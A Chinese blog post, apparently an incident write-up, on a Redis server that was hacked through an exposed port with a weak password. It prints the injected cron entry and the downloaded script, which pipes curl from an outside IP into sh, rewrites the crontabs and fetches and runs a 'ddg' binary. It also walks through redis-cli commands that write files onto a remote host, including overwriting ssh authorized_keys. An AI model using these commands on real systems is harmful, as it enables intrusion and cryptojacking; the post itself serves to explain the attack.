redis集群
之前打算用redis作为session的缓存,然后让同事去配置了redis集群。测试环境流程ok,在生产环境并没有直接合入,只是单纯地搭建了redis集群数据库。
发现问题
因为我们有自动化备份数据,利用linux自带的cron工具,每天凌晨2点去执行备份数据库脚本,但是我们运维人员某天去检查的时候,发现当天的凌晨2点并没有产生备份数据库。沿着线索发现cron的文本已经被修改了
cd /var/spool/cron/crontabs/ //文件位置
cat root //查看文件
REDIS0007dis-ver3.2.8edis-bitsctimeXed-mem
*/1 * * * * curl -L http://218.38.3.16:9999/i.sh?6379 | sh
test1SUCCESSkey1
那么这个.sh是什么?
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://218.38.3.16:9999/i.sh?8 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.38.3.16:9999/i.sh?8 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.1007" ]; then
curl -fsSL http://218.38.3.16:9999/1007/ddg.$(uname -m) -o /tmp/ddg.1007
chmod +x /tmp/ddg.1007 && /tmp/ddg.1007
fi
从代码内容上可以看见,前几行都是生成上面相应的.sh定时任务
curl
下载了ddg.xxx的elf格式文件,$(uname -m) 是为了兼容系统版本,chmod + x
使其可执行,最后再执行文件
文件链接 ,以后能有较强逆向能力的时候,再去分析这个文件
延伸
在参考里面可以看到一些文章,情况类似,把本机(192.168.0.1)文件1.txt内容写到肉鸡服务器(192.168.0.2)上/var/2.txt
1.首页由于redis的端口暴露在公网,并且用户名/密码比较弱,被黑掉;假设肉鸡hostip是192.168.0.1,爆破密码是ruqin123456
2.在本机linux上输入
//两个前后两个回车,是为了把1.txt单独做一组公钥校验
(echo -e "\n\n"; cat 1.txt; echo -e "\n\n") > 1s.txt
cat 1s.txt | redis-cli -h 192.168.0.2 -a ruqin123456 -x set output
这样,就能把1.txt文件内容写到redis数据库里面,其中key为output,value为1.txt文件内容
3.此时,在192.168.0.1上再开一个终端,连接上192.168.0.2的redis
redis-cli -h 192.168.0.2 -a ruqin123456
192.168.0.2:6379> get output
可以查看到数据
192.168.0.2:6379> get output
192.168.0.2:6379> flushall
192.168.0.2:6379> config set dir /var/
192.168.0.2:6379> config dbfilename "2.txt"
192.168.0.2:6379> save
上面命令就可以保存数据到/var/2.txt
但是新版本redis,会在save的时候,首尾添加部分信息
按照之前的版本,上述方式就可以覆盖ssh登录的authorized_keys
黑客就可以免密码登录了
参考